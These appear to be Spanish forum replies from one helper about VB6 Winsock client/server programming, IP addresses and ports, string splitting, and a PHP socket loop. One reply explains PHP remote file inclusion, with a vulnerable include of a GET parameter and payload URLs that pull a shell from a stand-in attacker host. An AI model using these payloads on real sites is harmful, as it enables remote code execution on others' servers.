Queres que los datos se envien al servidor? o simplemente poner los datos en las cajas de texto ?
Si es la primera me se la respuesta, si es la segunda tendre que buscarla..
saludos

Jajaj gracias por el mensaje 100 , entonces lo que pasa es que no se esta alcanzando a conectar el cliente al servidor, porque tu router debe estar filtrando la conexion. Mejor utiliza de ip "127.0.0.1" que es la ip privada. Creo que asi te podria funcionar y pues de nada, estoy para compartir conocimiento...
Saludos

En la parte de enviar datos podes hacer esto:

Dim enviar As String
enviar = Text2.Text
if Winsock1.State = sckConnected then
    Winsock1.SendData enviar
else
    Msgbox "Imposible enviar datos a la ip de destino"
end if
End Sub
 

Saludos de nuevo

Te tenes que asegurar de que el servidor este a la escucha, y que para enviar datos tiene que tener un receptor, no podes enviarle datos a una conexion vacia.
Lo mismo ocurre con el cliente, primero debe estar conectado para poder enviar datos.
Saludos , si alguna duda, me estoy pasando por aca jaja que me anime a ayudar

Creo que la mejor alternativa como te dije antes es la de comunicarse con una pagina web, ya que asi solo se modifican los datos y la base de datos permanece tal como se modifico, ni nuevas ni viejas bases de datos se suben. La forma seria comunicarse por el asp por medio de un GET, algo como http://www.miweb.com/script.asp?Tabla=xxx&Campos=xxx&Contenido=xxx&Accion=xxx
La accion podria ser modificar, eliminar, crear...
Saludos

Es facil, utiliza el split para dividir el codigo en arrays delimitadas por un caracter, como estas separando la cadena con dos puntos, el delimitador son estos dos puntos, y la cadena es la que envias.
Ejemplo

Private Sub Command3_Click()
Dim Coordenadas$, EjeX&, EjeY&
Coordenadas = "345:678"
EjeX = Split(Coordenadas, ":")(0)
EjeY = Split(Coordenadas, ":")(1)
Msgbox "Eje x = " & EjeX
msgbox "Eje y = " & EjeY
End Sub
 

O tambien podes hacer lo siguiente:

Private Sub Command3_Click()
Dim Coordenadas$, Ejes, EjeX&, EjeY&
Coordenadas = "345:678"
Ejes = Split(Coordenadas, ":")
EjeX = Ejes(0)
EjeY = Ejes(1)
Msgbox "Eje x = " & EjeX
msgbox "Eje y = " & EjeY
End Sub
 

Saludos

Pues, el codigo esta bien, haz esto, en la aplicacion del servidor, el que pones a la escucha, la propiedad localport es puerto 888. Por el contrario, en la aplicacion del cliente, la propiedad localport debe estar vacia, mientras que la propiedad remoteport debe ser 888.

O sin propiedades podes poner, en el servidor:

Private Sub Command1_Click()
winsock1.LocalPort = 888
Winsock1.Listen
End Sub
 

y en el cliente...

Private Sub Command1_Click()
Winsock1.Connect Text3.text, 888
End Sub
 

Saludos

Dos o mas usuarios se pueden conectar a un escritorio remoto a una misma cuenta

saludos

Claro mira, un puerto es una numeracion que se le da a las conexiones, no tiene nada que ver con la parte de hardware, por esta es donde se mandan y reciben los datos, es como un tipo de canal.
Los servidores siempre deben estar a la escucha en algun puerto, me parece que los puertos van desde el 0 hasta el 65536, por ejemplo la mayoria de servidores web, estan a la escucha del puerto 80, los ftp en el 21, los smtp en el 25, es una generalizacion.

En el codigo de tu programa (Servidor), tenes que poner al winsock a la escucha de tal puerto. por ejemplo:

private sub command1_click()
winsock1.localport = 80 'Puerto por el cual se reciben los datos
winsock1.listen
end sub
 

Lo que hace ese codigo es estar a la escucha en el puerto 80.

Entonces en la parte del cliente pones:

private sub command1_click()
winsock1.connect 127.0.0.1, 80 'El puerto que esta a la escucha
'127.0.0.1 o localhost, indican el sistema local, podes probar primero localmente y luego remotamente
end sub
 

Creo que es eso
Saludos

Claro que se esta actualizando, mira:
while (!feof($socket)) {
//Codigo
}

Pues, la forma de implementarlo es poniendole Ifs de lo que queres responder, osea, si encuentras en el string algun hola, que el script responda hola...
Para hacerlo funcionar con javascript creo que no se puede porque cada vez que haces una peticion a ese codigo que publique, empieza a evaluarse desde el principio, se conectaria otra vez, y quedaria ahi a la escucha, se demora todo lo que quieras por el set_time_limit(0).
Si piensas hacer un chat irc con php no creo que te salga muy funcional debido a que como te dije antes, al hacer una peticion al php se evalua todo desde el principio, y no se si hay alguna forma de meter datos mientras el php se este ejecutando.
asi como te dije desde un principio, mejor implementa un java

saludos!

Nop, no hay incoveniente, es solo question de manejar eso de las ips, eso de el LocalIp solo funciona como un dato extra.
Mira por ejemplo esto:

Private sub command1_click()
winsock1.connect 216.93.175.74, 80
'Conecta a la ip 216.93.175.74 en el puerto 80
End Sub
 

Utiliza la ip del lado remoto si es que queres ser el cliente.
Al contrario si queres ser el servidor, haz que los clientes se conecten a tu ip, pero a tu ip publica, la que te asigna el router o tu isp

private sub command1_click()
winsock1.connect tuip, puertoservidor
end sub
 

http://www.seomoz.org/ip2loc ahi encuentras tu ip publica.
saludos

Sale tu IP porque estas seguro detras de un router, el manual minimo es de los años en que se usaba conexion a internet conmutada, y la IP se asignaba directamente. Los routers son como un tipo de lan, asi que te sale en vez de tu ip publica, el numero ip de tu lan.
saludos

Podes usar algo tan simple como esto:

Private Sub Command1_Click()
Ws.Connect "www.elhacker.net", 80
End Sub
 
Private Sub Command2_Click()
Ws.Close
End Sub
 
Private Sub Timer1_Timer()
If Ws.State = sckConnected Then
    EstadoLabel.Caption = "Estado: Conectado"
ElseIf Ws.State = sckClosed Then
    EstadoLabel.Caption = "Estado: Desconectado"
Else
    EstadoLabel.Caption = "Estado: Desconectado"
End If
End Sub
 

Con el timer de intervalo 100, o lo que le queras poner.
Al intentar conectar a una pagina el winsock quedara en espera, entonces entra el timer y si no tiene el estado de conectado, supone que no tiene internet, si el winsock esta cerrado, o si no esta cerrado tambien.

Y para usar apis podes utilizar el siguiente codigo, ahi en el tuyo hay una cosa que sobra y es el CheckStatusConn de tipo boleano, no veo que lo uses en otra parte, mira el codigo que hice:

Private Const INTERNET_CONNECTION_OFFLINE = &H20
Private Const INTERNET_CONNECTION_LAN = &H2
Private Const INTERNET_CONNECTION_MODEM = &H1
Private Const INTERNET_CONNECTION_PROXY = &H4
Private Const INTERNET_RAS_INSTALLED = &H10
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long
Private Sub Form_Load()
CheckStatusConn
End Sub
 
Public Function CheckStatusConn()
Dim Flag As Long
 
    InternetGetConnectedState Flag, 0
Verifica:
    If Flag Then
        If Flag <> INTERNET_RAS_INSTALLED Then
            Conectar
            Me.AutoRedraw = True
            If Flag And INTERNET_CONNECTION_MODEM Then Print "Conexion Via Modem"
            If Flag And INTERNET_CONNECTION_LAN Then Print "Conexion Via LAN"
            If Flag And INTERNET_CONNECTION_PROXY Then Print "Conexion usando un Proxy"
            If Flag And INTERNET_CONNECTION_OFFLINE Then Print "Sistema local esta fuera de linea"
        Else
            Flag = 0
            GoTo Verifica
        End If
    Else
            MsgBox "lo siento"
    End If
 
End Function
 
Public Sub Conectar()
WS.Close
WS.RemoteHost = Servidor
WS.RemotePort = Puerto
WS.Connect
End Sub
 

Nop, jaja incorrecto, el signo de interrogacion como todos sabemos sirve para escapar de las extensiones , mejor dicho, luego de ? van las peticiones por GET.
si el codigo fuera

$variable = $_GET['pagina'];
include("header.php"); //No vulnerable
 
include($variable.".html"); //Vulnerable, ?pagina=index.php entonces -- include("index.php"); --, ?pagina=http://www.atacante.com/shell.txt, entonces -- include("http://www.atacante.com/shell.txt"); --
 
include("footer.php"); //No vulnerable
 

la web quedaria http://www.victima.com/vulnerable.php?pagina=http://www.atacante.com/shell.txt.html
Ahi si debemos colocar el ? para que tome el .html como si fuera una variable a pasarla por GET
http://www.victima.com/vulnerable.php?pagina=http://www.atacante.com/shell.txt?.html

Saludos

Hola scrngs, estoy muy bien gracias, como estas vos? xD.
Mira, ya tenemos el nombre en el archivo Text4.Text
Lo que podemos hacer es quitarle las ultimas 4 letras que son las que señalan el punto "." y la extension "mdb"
Se puede hacer de varias formas, te muestro las mas sencillas.

Text4.Text = Left(Archivoabuscar, Len(Archivoabuscar)-4)
'La funcion Left sirve para extraer de una cadena empezando desde la izquierda N caracteres
'por ejemplo Archivoabuscar = basedatos.mdb
'Lo que hace la funcion es desde la posicion 1 de la cadena, coje hasta las posicion de la longitud del archivo -4
'Longitud archivo = 13
'Left("basedatos.mdb",9)
'A lo que quedaria basedatos
 

Y como hay algunos archivos que la extension es mas de tres caracteres, entonces podes utilizar este codigo.

Nombre = Split(Archivoabuscar, ".") 'Dividimos la cadena partiendola por el "."
if ubound(Nombre)=1 then 'Si el archivo solo tiene un punto, se divide en dos cadenas, entonces..
  SinExtension = Nombre(0) 'El nombre sin extension es la cadena 1, la extension es la cadena 2 = array("basedatos","mdb")
end if
Text4.text = SinExtension
 

El problema de hacer controles en tiempo de ejecucion es que luego no podes crear el ejecutable con los botones que querias.
Jajaj no se me ocurre nada para esto.
aca esta un pequeño codigo para crear controles en tiempo de ejecucion, aunque se que eso no lo estas pidiendo, aprender algo nuevo no esta de mas

Private WithEvents Comando As CommandButton
 
Private Sub Command1_click()
Set Comando = Form1.Controls.Add("VB.CommandButton", "Comando")
Comando.Visible = True
Comando.Caption = "Comando Dinamico"
End Sub
 
Private Sub Comando_click()
MsgBox "Test de control dinamico", vbCritical, Comando.Caption
End Sub
 

Saludos